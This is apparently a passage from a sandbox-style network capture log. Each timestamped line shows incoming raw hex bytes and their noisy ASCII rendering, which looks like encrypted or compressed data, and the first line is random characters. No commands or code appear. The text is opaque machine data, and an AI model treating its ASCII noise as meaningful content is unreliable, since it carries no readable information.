^XPe&D)Y"IKNu)`%AFBwEB0(N'@OB2x(FyaKvlJw,0GQ`8'Du;(OR`)h.H}!VHK#\| yXX-&JxRZU9P#-bm{h:^oX7m_"$i
2022-08-04 11:37:03 UTC	3179	IN	Data Raw: a5 30 73 f7 0b da c1 ea 03 80 2a bf cb 83 6e 32 31 d3 b4 1e 11 59 3f fc 6c bc 04 82 2b 61 00 d3 b4 ec 1f 3d 95 58 28 ad 0a 12 58 d0 08 fd 60 ff 40 3d e3 78 7b 26 7d 5f 87 60 c3 2e 4d 9d 48 5a 68 4e bd f7 a2 5c 44 02 30 59 d3 0a b7 2f d7 00 5d 3c 85 94 52 98 0e f6 03 0a bd d0 5b 33 65 c0 44 22 01 00 c2 e5 9c da 5e 86 d8 ea 07 9e 23 e8 30 d2 4f c0 2a 1c 4b 78 fe 2e d4 6a ea 3f 84 d6 16 77 31 80 de 93 c6 d2 07 5a ed e0 30 7c 55 49 00 97 8c 96 1c cd e6 f0 a8 3e 5f 0e 87 39 7d 16 fb 50 f6 b9 b0 89 13 d2 ea 37 fb 2d 27 30 f6 85 00 25 de 57 c8 9c 4f c1 33 12 a4 05 01 fb d9 01 da f8 27 3a 17 f2 5f ae 70 35 3e 4f 21 00 7a 52 fb e4 23 e3 33 62 1f 3f b8 4b f8 81 cc a3 1b 70 96 1a 7b c0 d1 a2 a7 f5 07 8e e4 0c ab eb 70 69 f0 8c 2d 00 31 0b 39 06 37 df e7 84 2c 8a 9f Data Ascii: 0sn21Y?l+a=X(X`@=x{&}_`.MHZhN\D0Y/]<R[3eD"^#0OKx.j?w1Z0\|UI>_9}P7-'0%WO3':_p5>O!zR#3b?Kp{pi-197,
2022-08-04 11:37:03 UTC	3195	IN	Data Raw: e9 ef f8 bc 25 33 01 57 1e 58 ea 59 60 5b 28 e0 0c 89 12 00 fd 91 42 b3 b1 79 c5 1c 07 f0 f4 41 a7 70 e0 54 3f a2 ef 5c 7d 59 0e af 27 7e 60 88 05 bd b9 b0 01 03 f8 1a 3a 20 8b 2a f0 d0 8f 24 35 75 96 00 19 34 d2 12 2f 9c 00 0c 47 23 8a cb 9b fb c6 f0 bc f4 e9 00 89 0e b5 d4 d8 27 9f 8f 00 86 ba 2e 63 9d 81 fb 87 50 a6 e7 89 07 71 56 da 53 c2 be be c0 1b de c0 67 dd 8d 02 d4 13 7b c8 c9 45 c0 8d e5 26 00 e2 8a 33 fa 21 6f 9f 8e 00 81 d5 16 40 7b e6 85 d1 00 4a 8a c5 9e 4f ca bd c3 38 6c 73 bb b5 00 e7 7c a3 ec 5a 64 b6 00 ef 13 c4 97 cb e8 80 99 00 df 62 72 32 83 15 4a d5 00 65 46 86 fa 8c aa 39 a5 75 b1 00 f4 11 49 f5 e8 07 75 89 00 b8 2a d1 bb 15 67 a2 f0 00 eb 46 53 8b dd 1a d8 2c 00 ed bf cd fd 54 48 7a 44 00 60 a1 c8 86 ec 92 db c1 00 37 d0 e1 e6 b5 Data Ascii: %3WXY`[(ByApT?\}Y'~`: $5u4/G#'.cPqVSg{E&3!o@{JO8ls\|Zdbr2JeF9uIugFS,THzD`7
2022-08-04 11:37:03 UTC	3211	IN	Data Raw: b5 45 93 f5 24 73 d7 f0 2d 22 68 00 f1 fa fc 53 7b 58 70 64 00 0e 3c 4e ee 72 c7 90 b4 00 d2 6a 22 5c fe 87 08 4f 00 1b cf d5 50 4b 6d 69 8d e2 5d 00 77 48 f8 f5 91 5f 7d 83 24 8c df 04 00 8e f6 2c c1 a7 d6 0f e5 98 5a dc 1d c0 36 bb be 4d 8c 90 00 d4 33 57 2f 85 a9 14 e8 38 ef 0a 00 88 b8 62 a1 55 d5 35 0f b1 22 a0 52 cf 5d 60 b9 5c 3b ee 76 00 09 6f 2b 36 fa 94 72 03 00 7b b0 8c 61 98 eb ec 70 3f 5b f8 00 c8 7d c5 87 a9 e8 68 01 c6 21 d8 60 8f 51 4f c4 79 91 14 a0 ba 71 d3 00 fc 19 04 45 21 4b 4e 00 26 36 e4 2d c4 09 df 94 00 c1 32 62 c8 60 39 38 48 00 6b 56 c0 70 28 cd 61 fa f0 d3 0e a9 65 4c b3 20 72 9f 6c 3f e3 3f e1 1f 7c 01 2e 18 a1 59 e8 5e 2a 60 4a c7 00 ca f5 d9 96 05 61 ec 8e 00 98 42 c8 3b 86 0d 58 0a fa b5 00 30 22 b6 d2 0e e9 ac 8d 03 d7 5a Data Ascii: E$s-"hS{Xpd<Nrj"\OPKmi]wH_}$,Z6M3W/8bU5"R]`\;vo+6r{ap?[}h!`QOyqE!KN&6-2b`98HkVp(aeL rl??\|.Y^*`JaB;X0"Z
2022-08-04 11:37:03 UTC	3227	IN	Data Raw: 60 48 0c 22 b4 00 71 0d 58 a9 75 e1 81 a0 03 28 6e c3 a6 19 92 a2 2c 80 e6 7c 69 1a 15 00 23 dc e7 fc f2 33 07 8a 12 d9 de 52 bb a2 6c 90 f0 16 43 b3 00 8e 96 9d 7d bf 5b 4a a5 ab c9 6a 6f d2 37 11 5d 00 1e 60 2a 54 a2 00 20 1c d9 f6 e9 c9 2c 5a 17 71 a9 39 00 9b 83 49 cd db 87 71 32 00 94 f5 77 9b f8 91 2e d0 00 3b da b9 37 a2 b5 50 56 1f 66 c7 f4 0f db d6 80 fd 60 ee f8 a9 00 d7 eb 41 e7 7a 28 71 55 00 27 c1 45 6f 40 96 82 8a 18 ab a4 0f 38 24 2d 00 b5 31 cb b7 7b eb 38 52 c0 b2 aa 9b 63 a4 68 25 16 ef f8 5f e2 55 03 0d 50 2c 19 a5 27 98 01 10 ed 55 98 90 6b a9 73 c0 29 8a 79 6d 74 05 9e 58 c1 0e a6 a9 7f 38 f5 41 30 e2 18 60 11 40 e0 12 0b 13 02 a4 1c 8b b8 a7 44 43 78 d4 81 af bd a0 8c 0e 64 72 10 53 00 56 45 ea df 9d 13 21 24 5b 57 bf 3b be 64 0a 5f Data Ascii: `H"qXu(n,\|i#3RlC}[Jjo7]`*T ,Zq9Iq2w.;7PVf`Az(qU'Eo@8$-1{8Rch%_UP,'Uks)ymtX8A0`@DCxdrSVE!$[W;d_
2022-08-04 11:37:03 UTC	3243	IN	Data Raw: 2f 64 4d 3c 12 ba 27 7d 9c 2a 2d d0 cc 56 93 c5 f8 83 e1 74 a8 6d e1 fc 52 6f 1d c2 79 d2 fe 5c 4e e9 5f cd 55 45 27 b0 06 68 f2 ac 25 cf 5f 5b e1 49 f6 5c d8 e9 f7 25 86 ff 44 b3 0f 76 cd 7b 7d 1f 54 d6 03 14 ff c6 f8 40 bd ca 24 5b 5e ff 16 89 bf 40 11 c3 7a 45 fe 3f 89 01 2e af 35 58 20 47 eb a6 e1 28 c6 21 ee 5f de 8b 31 02 f6 5c 12 6b 8a df 59 b2 c2 93 b1 f3 26 03 4c 50 d7 7f aa d9 8b c5 79 b0 e2 d3 b2 00 68 de 61 aa b6 00 45 57 24 15 fa f8 b1 c1 5f e9 74 5d 69 d6 9c d2 cc ed 66 84 a1 84 00 a9 22 c3 e0 bc 4e 55 fe 8e 02 d8 0a be 2e 00 3b ef 7b bd 12 07 dd 16 25 31 f5 67 1f 2f 75 84 45 9e ba c2 3d 50 80 d2 bf 8a fd 1f 4e 29 af cd 52 3e bc 42 e9 6b 9d 4f 00 2a e9 61 f2 90 81 ea 4c fa f1 c6 0a f5 97 fc 00 ac ad 3f 62 fd da 9e 35 02 09 68 df c4 fc 7d fd Data Ascii: /dM<'}-VtmRoy\N_UE'h%_[I\%Dv{}T@$[^@zE?.5X G(!_1\kY&LPyhaEW$_t]if"NU.;{%1g/uE=PN)R>BkOaL?b5h}
2022-08-04 11:37:03 UTC	3259	IN	Data Raw: 54 d1 8b f7 d1 80 8f 5a bd 39 f9 9d e8 4e 73 32 fc 7f b7 db db 45 c6 0b 12 59 26 4a 06 19 09 bf 16 88 b1 5f 88 57 21 59 e9 f5 57 89 9a 20 12 d8 a3 b7 70 90 17 1b c0 4f bf c4 50 e0 ae 7d 39 3a 8f e1 3a 78 03 04 c1 79 7a f1 26 98 34 bd 29 83 3e 01 87 c0 18 96 da 4b 11 fc f3 41 5a 57 fb 61 8e 8e 38 21 85 2e ec 13 e7 70 c7 ca 60 13 58 86 d2 4e a5 98 3e b3 36 a7 1b 7a ea 09 5e 8c 9c 7f 61 37 cb 7b a3 e8 19 b9 ff 03 21 7e cb 33 09 17 a5 f4 7d 4e af 25 54 5e f5 17 ae 92 75 ee 12 89 ba a3 d7 f5 e7 24 12 50 b5 ee 8a 9f 5a a9 97 a8 c6 49 cb a6 96 ef cb cf d7 71 82 29 b8 c2 df 45 12 eb 5f 6d 01 09 4f 67 04 46 ac d0 ec 2b 7d f9 5f 77 75 45 16 29 02 9f 3d 03 7f 60 95 89 ff 2d 5f 45 55 22 40 c1 e0 48 89 c0 d7 18 66 cf 3a 0f d1 20 34 15 67 64 aa e4 e3 fe f3 2b 10 e1 07 Data Ascii: TZ9Ns2EY&J_W!YW pOP}9::xyz&4)>KAZWa8!.p`XN>6z^a7{!~3}N%T^u$PZIq)E_mOgF+}_wuE)=`-_EU"@Hf: 4gd+
2022-08-04 11:37:03 UTC	3275	IN	Data Raw: 40 da 55 6f cb 14 84 6a 43 ba e2 e7 f4 a4 e6 ba 09 5d c0 eb 7b 7f 20 aa ca e9 07 6f 5c 1d 32 06 26 da be 52 0c 00 c9 cb 9f 95 2d 14 e1 7f 4a 0d 10 b7 07 50 5e 17 4b 92 ff 8c 03 60 10 35 fc 32 df 54 59 ab 00 55 53 68 63 70 b7 6f b5 70 c5 1b 27 7a ff b6 b0 2d e5 ee 5f 3c bd 77 00 08 ba aa e7 41 89 dd b5 5b 32 42 d8 4d d3 bd 09 8f e0 7b af 0f 22 24 30 d6 f2 91 85 a1 29 fa 31 ef 79 1e 3a f9 d7 04 46 5f da 35 00 68 b5 60 f6 7f bd fe 4c 5c 4a 53 fe 8b c1 41 47 3f ec 08 ed 09 25 db 96 d8 04 68 eb 2f af 6d a9 00 79 0b 54 ed 9d 67 5f c7 78 2c 2f 3f 1f 5f 6b 03 c3 ea 2c a6 bc c8 73 a8 16 7b bf 77 09 09 f3 88 58 a6 2d 01 fb 52 e5 55 dd 01 41 cc f7 d5 6a f4 da 3a 1c 54 be 89 6f 83 fb f1 2d f7 f9 0f 7a 22 b3 7e 7f 84 96 01 fe 87 6d 67 ed f9 e8 04 73 e1 ee 5e 80 f7 b2 Data Ascii: @UojC]{ o\2&R-JP^K`52TYUShcpop'z-_<wA[2BM{"$0)1y:F_5h`L\JSAG?%h/myTg_x,/?_k,s{wX-RUAj:To-z"~mgs^
2022-08-04 11:37:03 UTC	3291	IN	Data Raw: 31 ea 57 14 77 31 02 ff 03 75 f0 57 63 d3 74 8c 05 18 d2 c1 98 a3 ac c3 5a 8e 01 17 64 75 e4 85 05 fd 22 ee 00 5b 88 c5 57 a7 9c 0b 03 c0 6e 5c b0 ca e7 b8 d7 3c 6c e0 69 0e 83 19 fe 9c a0 41 2c ab 70 a2 12 4a 34 a4 96 cc 58 61 8c 0d 56 52 04 80 8d 73 1b e1 6f 24 d8 74 9b 29 b8 37 1a 08 64 b1 05 c2 05 6c b8 1f 00 f1 0e 4c c9 e8 23 ed 48 a8 81 12 07 5d 43 86 ea 63 d0 14 0a 4b 76 80 0b 6e 9b 4c 8e ff 2b 44 00 86 12 2b 7c 16 00 70 9a 40 5e 73 3a d9 8a 00 41 a6 59 6f 47 0e 12 39 00 a9 98 0d 37 ac 6a 2c 61 27 c1 01 7d e6 0e ed 2b 98 a9 2d 42 5a 6f e0 b5 b4 01 11 f2 99 78 e9 9d e8 96 9b fa 5a 2e a5 10 23 39 8f d8 58 dc 80 fd 78 8f ee 98 00 db 49 90 72 3a ed f2 d5 00 9e a8 76 25 9a 38 51 45 00 73 07 59 92 8c 44 3f fd 00 ed e1 8b a8 81 ce 5e ca 00 95 38 d7 3a cc Data Ascii: 1Ww1uWctZdu"[Wn\<liA,pJ4XaVRso$t)7dlL#H]CcKvnL+D+\|p@^s:AYoG97j,a'}+-BZoxZ.#9XxIr:v%8QEsYD?^8:
2022-08-04 11:37:03 UTC	3307	IN	Data Raw: e4 5f 22 f9 17 c8 be 45 f2 2f 91 7c 8b e4 59 09 a8 12 b0 24 b8 48 c0 91 c8 22 d0 44 d8 e0 89 e8 12 f0 24 f8 5a 5a 2e 80 91 78 8b e4 5f 22 f9 17 c8 be 45 f2 2f 91 7c 8b e4 5f 22 f9 17 c8 be 45 f2 28 30 11 a9 74 8b c4 5f 22 f9 17 c8 be 45 f2 2f 91 7c 8b e4 59 09 90 12 98 24 a0 48 a8 91 b0 22 b8 44 e0 e8 89 f0 12 f8 2e 08 aa 11 08 22 10 44 18 20 89 28 12 30 24 38 48 40 91 48 22 50 44 58 60 89 68 12 70 24 78 48 80 91 88 22 90 44 a0 a8 89 b0 12 b8 24 c0 48 c8 91 d0 22 d8 44 e0 78 6c ab 69 09 c0 36 26 05 38 09 44 d0 d8 89 e0 12 e8 24 f0 48 f8 b8 20 27 44 08 e0 6e 29 31 91 78 8b e4 48 2a b2 09 10 24 18 48 20 91 28 22 30 44 38 40 88 e8 2c d8 59 09 08 2d d9 49 09 28 12 38 24 48 48 58 91 68 22 78 44 88 98 89 a8 12 b8 24 c8 48 d8 91 e8 22 f8 37 08 2e 81 48 bc 45 f2 Data Ascii: _"E/\|Y$H"D$ZZ.x_"E/\|_"E(0t_"E/\|Y$H"D."D (0$8H@H"PDX`hp$xH"D$H"Dxli6&8D$H 'Dn)1xH*$H ("0D8@,Y-I(8$HHXh"xD$H"7.HE
2022-08-04 11:37:03 UTC	3315	IN	Data Raw: 38 9c 4e 57 2b ec 08 00 c2 30 7e 92 51 4f f9 e6 00 a8 86 13 46 c9 96 49 6f 00 47 f0 8d 68 6b c8 b0 c5 1d 4a c3 ee 3c 87 ae 44 84 26 30 b5 3f 48 2f 00 b0 49 b4 3b ad 85 bc 06 1e 53 d2 d7 00 92 4c c7 01 3c f2 00 6d 07 8f 51 b9 45 d0 e6 00 62 40 d9 55 e1 f7 b7 ad 00 08 8d 8b a4 a7 04 a5 f5 00 02 e5 44 1f 8f 35 b4 37 00 a3 42 fc 26 c9 92 82 d1 00 25 f5 40 17 16 d7 31 bb 00 21 13 87 b6 dd ce 3c 80 75 74 00 a7 38 76 64 c3 91 1b 0e 34 28 6b a6 80 1d 33 ee 02 01 99 48 a0 43 69 fd f1 dd a3 30 f2 35 00 29 24 b1 ec b2 84 d4 ad 00 1b bf 85 e1 61 48 bd 43 07 c0 ac 9d 7f bc b0 2e ec 8b 4b 00 a8 12 d3 8a 5d 91 ca a1 00 33 2b 41 3d 52 a9 df 3c 02 2a 65 21 8a e9 3e 80 df 8d 74 9f 4e 00 45 a4 03 ab 60 b2 4c be 00 b0 8b 53 cd 1f 92 94 1d 00 0e df cb 29 1c e9 30 6d 00 a5 71 Data Ascii: 8NW+0~QOFIoGhkJ<D&0?H/I;SL<mQEb@UD57B&%@1!<ut8vd4(k3HCi05)$aHC.K]3+A=R<*e!>tNE`LS)0mq
2022-08-04 11:37:03 UTC	3331	IN	Data Raw: 0f 40 b4 82 6b 4e 42 19 e0 a5 ca 38 00 36 2b da c7 11 28 9b f7 00 29 3a e0 ed 24 83 55 cd 00 06 f6 37 e2 4c d8 c4 1f 39 2f fb 80 e6 87 1c 42 5a ea a1 98 4f 1c 99 61 d0 00 4c de da c2 89 d1 00 a9 9f 84 d8 f6 90 bf bc 00 a0 ab 68 35 7b 60 ee e0 00 ae 42 d0 15 37 f1 63 44 f6 80 00 4d af b1 75 1f 53 69 46 00 e8 ee 28 de 95 6e a8 89 00 9b 6d 3e 3f 9a b7 3b 8f 00 4c 73 97 aa ef 7e 2d 7b 00 c6 29 d4 16 b6 a2 5a 3e e8 94 00 e2 4d d9 d5 fe 48 59 8f 3d a0 d6 00 76 e7 2a db 74 62 80 00 cd 37 21 dc 4e 0d 65 5e 00 20 d2 1e 43 6f 04 11 7c 0f 76 4a b0 f6 a0 e3 07 35 d9 36 00 6e 31 d0 f3 87 a2 8f c1 0e a7 b0 6c 99 80 69 12 f5 5d ec 7b c9 e8 4a 01 81 6b 79 d2 89 bb 1c d4 50 64 00 66 67 d6 f3 f8 a3 7d 0e 17 11 7e 84 b8 8d 58 a6 03 e1 7b 5a 8d 03 d0 8a 99 92 fc f0 00 0a 35 Data Ascii: @kNB86+():$U7L9/BZOaLh5{`B7cDMuSiF(nm>?;Ls~-{)Z>MHY=v*tb7!Ne^ Co\|vJ56n1li]{JkyPdfg}~X{Z5
2022-08-04 11:37:03 UTC	3347	IN	Data Raw: 76 20 f7 c8 e0 52 7b 1c 0c 07 dc a7 4c 43 37 40 07 bd bb 90 1c ef 73 d5 00 35 fd e3 d6 3e c0 e3 60 d3 0f 0b b7 a9 d2 b2 00 66 df 2f a7 41 00 b4 46 b8 40 99 94 b5 51 00 ed 9a 5d 9f 63 df 0d 2b 00 11 be b4 25 6a 6d 8d 8b 38 94 d0 80 53 db b1 c5 f4 ce 19 00 32 6e d7 c6 01 3f 0b da 00 26 17 35 94 66 95 a2 57 00 88 41 08 4d 1c eb d6 ea 1f 9a 5f 1f c0 b1 8f c0 5a b0 ec 00 51 71 99 5e 73 0b a5 fd 00 48 80 93 fb 4a 49 f4 04 00 19 86 99 f0 87 97 b7 b6 0e d9 dc e8 be 09 6f 8f ca 20 a3 66 54 cf fa 00 1e 73 77 50 35 de 7e ba 1d be a6 8a 80 49 cc 90 31 55 e3 07 cd 93 b3 26 e9 60 a5 4d d4 56 00 c8 a8 d1 2a ce c0 8b a3 b8 48 00 c7 59 cd cb a6 50 01 e4 00 05 6d fc 3f 9e c1 4a dd 00 15 09 bc 3e f8 36 88 79 00 c2 f0 78 21 2d 45 72 d3 03 82 7f 14 5c f1 55 8f 33 12 0b 90 bb Data Ascii: v R{LC7@s5>`f/AF@Q]c+%jm8S2n?&5fWAM_ZQq^sHJIo fTswP5~I1U&`MV*HYPm?J>6yx!-Er\U3
2022-08-04 11:37:03 UTC	3363	IN	Data Raw: 8a 28 36 2e 7e a4 00 c5 53 3e 04 90 20 30 a0 00 88 d0 2a 82 46 07 49 16 07 61 95 05 b4 e6 0e 6b 30 00 d8 2f fa 7e 72 0c 02 c2 59 47 56 ae 03 40 cd 76 53 0d 8c d8 13 66 0e 02 7f 32 6c 55 42 b7 40 38 77 e2 01 da 1b 4c bb 39 13 de f0 47 80 00 11 12 f4 ec 38 9a db 0a 01 a9 45 ad 85 91 31 e7 60 0b 07 00 60 3b 74 2f a1 06 4b 50 0f 2e 30 3a 73 60 ef 83 3c 26 93 00 78 1b c5 d3 f2 f6 e0 40 f8 a2 1f 8d 35 90 c0 75 c1 1a 78 2e 7a 01 10 ea 62 95 44 47 f2 cc e0 f3 00 65 1f ce c6 96 31 72 1a f2 74 00 1d 90 e5 4d a7 10 8b 40 13 2b d4 6f 00 ea 8d d0 c0 3c 96 00 17 7c eb d9 b0 7d 02 79 24 49 25 dd 03 ea 2d ac 23 d0 67 f7 ec 3f b4 2b 00 1a a7 b0 b5 59 36 7f 07 55 c5 35 87 93 90 2e 5a a5 d6 0f e7 64 29 0c a0 52 d7 f6 98 ce 00 fe bc 56 dc 19 46 a5 74 01 04 f7 67 97 6e f5 d7 Data Ascii: (6.~S> 0*FIak0/~rYGV@vSf2lUB@8wL9G8E1``;t/KP.0:s`<&x@5ux.zbDGe1rtM@+o<\|}y$I%-#g?+Y6U5.Zd)RVFtgn
2022-08-04 11:37:03 UTC	3379	IN	Data Raw: ea eb 00 1c 40 fa 62 94 85 58 d7 00 6a 84 a6 39 90 78 9c 65 00 5c 5a 79 19 43 54 59 99 00 cb 57 9e a8 0a 14 2e 31 f9 30 99 ac 00 52 2a c1 39 45 bc be a2 00 ad c5 71 b3 2d d6 9e 72 ea 64 0e 3b 65 6d 6f 60 97 ea 96 3e 66 70 2f 00 8a 6a de 94 0f 54 89 53 00 78 98 bf e8 50 e3 ae c0 00 d2 04 2d d7 1d 88 2b 58 18 c2 13 36 16 81 8f 00 c3 e3 fb 3d f4 b8 93 6d 00 cd 52 78 7c 74 ce 2f 98 1e 9d 09 44 c0 c2 43 e5 ef 72 0c 0e d0 37 fd d2 00 1f a9 9b fc a2 00 71 85 25 5d 96 86 59 7b 0e 1c 43 28 d1 e0 38 c6 6c 19 fb 00 a6 ae c4 74 d4 6f af 56 00 4c 9a dc 83 ec 15 d8 08 2e 94 27 62 09 cf 5c 80 94 f7 e1 76 36 01 81 01 e4 72 e5 52 53 df c0 33 f5 98 07 0b 46 31 0e 38 20 6d 7e b4 03 01 99 72 75 f7 cd ce 28 c0 b1 77 00 56 12 9c 58 b7 11 dc 57 07 36 0d e3 79 48 4b 8f a5 20 6b Data Ascii: @bXj9xe\ZyCTYW.10R*9Eq-rd;emo`>fp/jTSxP-+X6=mRx\|t/DCr7q%]Y{C(8ltoVL.'b\v6rRS3F18 m~ru(wVXW6yHK k
2022-08-04 11:37:03 UTC	3395	IN	Data Raw: df 42 b8 bb 05 11 e2 f1 38 89 54 80 04 e8 82 b0 34 92 2a 00 22 15 36 da 8e 4e 4f 49 00 aa 7a 84 ab be 9e fe 95 00 6b bb 13 1e ac a3 b1 fb 00 03 dd 9b 6e 9f 6d 27 f1 3f 2b b8 2f 8d d4 52 00 b3 68 8a d4 70 d6 00 26 2a 8f 80 ce 12 35 01 00 76 34 31 da 30 1c 44 d5 00 43 3a f4 55 c0 5c 68 ad 00 bb b9 69 32 75 80 f6 e3 00 59 9c 85 01 7c bd 3f 9d 00 cb d7 d9 eb 8e 1e 37 c2 00 71 17 10 e1 0b 6f 4e 2c 00 1a 2d a5 93 dd b7 bf 64 00 fc 97 fb 95 ad 54 4b 43 fc 82 12 19 0c a3 1e 21 82 8f 3f e4 46 40 c1 49 af 00 e1 f6 b9 2c c8 24 90 ea 2c a0 b3 e3 01 fa d5 09 a6 98 70 93 36 00 38 65 fc 5c 1b 58 64 67 00 3e 2b ae 89 52 17 34 94 00 68 04 9f 78 47 75 93 7d 00 8c e7 87 2e 5e e0 5f 30 75 90 04 40 70 1b bb da 81 c5 11 1e cc c6 39 00 35 f8 b8 e2 42 ca 21 32 00 b7 23 57 0e 08 Data Ascii: B8T4"6NOIzknm'?+/Rhp&5v410DC:U\hi2uY\|?7qoN,-dTKC!?F@I,$,p68e\Xdg>+R4hxGu}.^_0u@p95B!2#W
2022-08-04 11:37:03 UTC	3411	IN	Data Raw: f1 b3 9b 9c c5 7a 96 0e a6 44 5d e1 40 84 62 10 45 07 3b bf aa 80 1e 0c 31 ba cb 85 9e 00 b7 81 05 d3 a4 df ae dd 00 6d 29 f5 6e 37 7f 58 c9 e0 35 00 d1 63 ec 88 95 55 a0 2f 3f da 5c 80 97 f9 50 4b 14 73 37 01 e7 7a f4 b1 b0 c1 53 60 a9 ee 00 81 b5 d5 41 cd 89 5b 6c 26 cb 09 ce 03 ad 73 45 64 90 b9 63 6a 00 e5 f5 e1 8e 1c 9f c0 c9 00 20 dc 13 a7 03 52 5c b9 03 27 7d b2 af 1b b6 b8 24 9f b7 00 2f ab f2 0f 75 dd 6b 5c 00 1e db 50 5d 64 81 0a 44 01 31 ef d8 c3 51 2b 78 e4 e6 8b 01 38 6b 98 34 17 41 96 e8 f3 df 00 7c 80 7f 56 da be 93 ec 00 83 a7 34 52 1e 86 65 96 00 1c e8 0c eb 84 54 18 b2 4c 3e f0 00 ce ba f1 12 a4 5c 51 4c 1b 62 00 8b 0b a9 a7 04 2f 47 00 7d d5 e3 b5 cb 89 82 6b 00 5f 5a 96 45 9d 85 65 bd 00 47 3d dd 08 66 d0 73 41 01 3e 36 2a 2f 95 17 33 Data Ascii: zD]@bE;1m)n7X5cU/?\PKs7zS`A[l&sEdcj R\'}$/uk\P]dD1Q+x8k4A\|V4ReTL>\QLb/G}k_ZEeG=fsA>6*/3
2022-08-04 11:37:03 UTC	3427	IN	Data Raw: 13 46 cb 31 14 11 75 d1 35 94 99 79 78 11 98 9a 09 88 18 27 08 e0 cb cc 7c c4 11 33 d2 f6 1c 67 11 6b ca 3c 46 7c 11 66 b9 09 c8 61 63 bc 11 56 d5 66 49 19 58 11 66 a4 09 a8 18 89 08 d3 f2 7b 34 31 11 86 d6 26 80 31 90 11 36 d7 48 0c 38 cf 11 ba 96 63 18 c0 1b 11 ec d9 09 44 78 08 a0 63 db 08 04 7b e5 4c 08 e9 09 18 c8 19 ec 89 62 dc 6c 48 cf 11 eb 92 63 08 f0 13 11 81 f3 59 04 49 90 9f 11 56 db 03 b8 33 19 58 11 ae 43 08 84 18 f0 05 10 01 07 cc 08 48 31 6c cd 11 9b 08 0c d8 9c cc 11 d0 09 5c d1 30 08 1f 52 09 2a 60 66 54 11 8c 09 68 a8 30 08 8c 4d 0a 08 88 cc 19 5c 11 18 6f 0b 49 90 40 08 62 f9 48 48 64 ca 11 bf 0c 64 f4 45 30 0c 23 78 3c 19 11 fb 0d 08 e0 98 61 fc 11 59 0e a4 24 63 5c 11 e2 0f 66 49 31 e4 11 3e 50 10 4e a3 68 65 11 b7 37 0c 48 88 be 11 Data Ascii: F1u5yx'\|3gk<F\|facVfIXf{41&16H8cDxc{LblHcYIV3XCH1l\0R*`fTh0M\oI@bHHddE0#x<aY$c\fI1>PNhe7H
2022-08-04 11:37:03 UTC	3443	IN	Data Raw: 95 63 98 11 00 57 ab 2a 67 bb a9 9e 1e 00 0c f8 5a b3 42 43 4c 1a 00 b5 1b bf 6b e9 ed 92 9b f6 77 00 b1 81 d6 67 ad a7 71 19 f4 88 00 be a8 85 ae c4 92 4c 87 7d 9c 0e 5e 94 cd 17 40 45 c3 3d 06 93 00 2a 5c 9a 8b a2 ce 7c bd 3f 5a 08 80 dd 0d 9d 3a 60 5e ad 00 7f b5 46 37 fd e5 09 c9 00 ca d2 bf 91 af 63 9f 3a 0f c4 5f 66 26 80 b4 2c 3c aa d8 00 41 db b8 c7 47 76 3a 55 0e 65 68 9d 5b 60 57 e7 ea d1 71 00 10 8f 15 18 f5 3b 2c 43 00 98 17 92 89 55 1f 86 2d 00 07 ee d2 56 f4 b0 d9 f0 00 36 62 5c 2a ef 89 d1 21 0e 01 65 c5 e6 c0 1a 8e 3f de 0e 01 37 56 aa 26 ec 28 76 20 d7 e2 00 4f 44 fc 66 ea b9 3d 30 00 16 19 ef 12 ba 47 95 ca 00 90 d7 e9 13 42 e7 43 2e 00 c7 4b 6c 8a a0 02 49 b3 01 bc 58 ac d7 7a 27 40 f8 8e f5 00 d0 a4 44 15 ea 17 88 99 00 c6 2a 75 f6 84 Data Ascii: cWgZBCLkwgqL}^@E=\\|?Z:`^F7c:_f&,<AGv:Ueh[`Wq;,CU-V6b\!e?7V&(v ODf=0GBC.KlIXz'@Du
2022-08-04 11:37:03 UTC	3459	IN	Data Raw: 0f a3 3e 55 a0 46 e5 5c b9 db 05 5b 7b f3 21 53 c0 4e 7d d7 ee 73 37 0b c2 0e 98 63 00 ba a9 21 31 5b 1e 50 5a 85 cf ea a3 e0 3d 17 11 60 77 90 8d 07 6f bb e8 51 b8 a0 cd bd dd 9f 00 73 9e e4 54 88 62 55 31 00 7d 80 2f 5c d3 db cc 8a ec 16 00 72 e4 e5 47 81 58 d8 29 00 c6 a1 9e 20 25 a4 9d e6 0f f9 5b 53 36 40 5e 3b 93 a3 b3 e8 03 1f ed d9 c3 80 43 f5 a1 bb 57 56 b6 c2 00 a6 97 4d 6e e0 64 00 c9 c3 a0 45 d2 89 a2 7e 0a b8 b4 70 2d 9c 0e 58 a8 a0 88 cc 4d ae 8a 00 5b a5 82 a9 65 15 77 fc 00 ea e5 0e 27 43 32 7e 81 3e c5 30 80 7f 80 09 21 97 5b 62 48 e1 c7 00 9d 73 0e a5 f1 8c 68 3e 25 36 00 39 e0 fc dd c8 4b 43 00 4f 13 da f3 82 c3 46 bb 00 21 8f 3d ed c0 a2 d3 32 00 06 b4 be 2a e2 56 f5 e0 03 94 2c 5a 60 53 1b c0 45 44 75 03 7b dd d0 ef 35 38 df c7 a6 10 Data Ascii: >UF\[{!SN}s7c!1[PZ=`woQsTbU1}/\rGX) %[S6@^;CWVMndE~p-XM[ew'C2~>0![bHsh>%69KCOF!=2*V,Z`SEDu{58
2022-08-04 11:37:03 UTC	3475	IN	Data Raw: e3 75 98 42 23 20 00 40 38 3e 5e a1 d9 e9 1d ee 3b 00 a2 0a d2 2b e1 18 47 e6 38 95 07 f0 1e aa b9 75 43 ac 80 3f 1d b0 c6 5c 6a 00 43 33 23 85 38 09 e6 40 3c c5 db 00 21 ea 2d 5b 82 c6 2f 00 ec 0d ba e1 b8 3a c7 3d 00 12 36 f2 7d 50 f1 de 99 78 6b 00 10 48 2e af 83 f5 d6 68 00 8b f0 ce 57 5e 60 22 86 13 01 e7 73 03 f5 31 ac 5a a8 fa 90 91 14 e1 4b 1c ca 00 72 68 da 13 07 04 27 00 24 77 a4 d2 4d 9c 61 f0 07 6e 2f 62 be fd a0 51 38 8b 6f 7b e0 3e 71 c1 00 57 46 3b 0a 2e 2d 26 0e a5 67 64 0c 23 fd ac 52 e0 d4 63 1e 00 53 5c eb e9 d9 91 7c 9e 07 a1 29 ce fb e1 50 a3 8f 35 25 00 e6 d5 78 85 cf 2d c5 ee 1c 86 26 3a 80 27 52 aa d6 97 7b 00 72 a2 b9 d8 66 13 e3 7c 00 10 e4 0a d7 81 b3 98 9d 38 4e bd 84 b5 38 d2 c7 87 7f d0 41 ba c1 eb 00 39 6b 9d e2 0f 8c 0c a2 Data Ascii: uB# @8>^;+G8uC?\jC3#8@<!-[/:=6}PxkH.hW^`"s1ZKrh'$wMan/bQ8o{>qWF;.-&gd#RcS\\|)P5%x-&:'R{rf\|8N8A9k
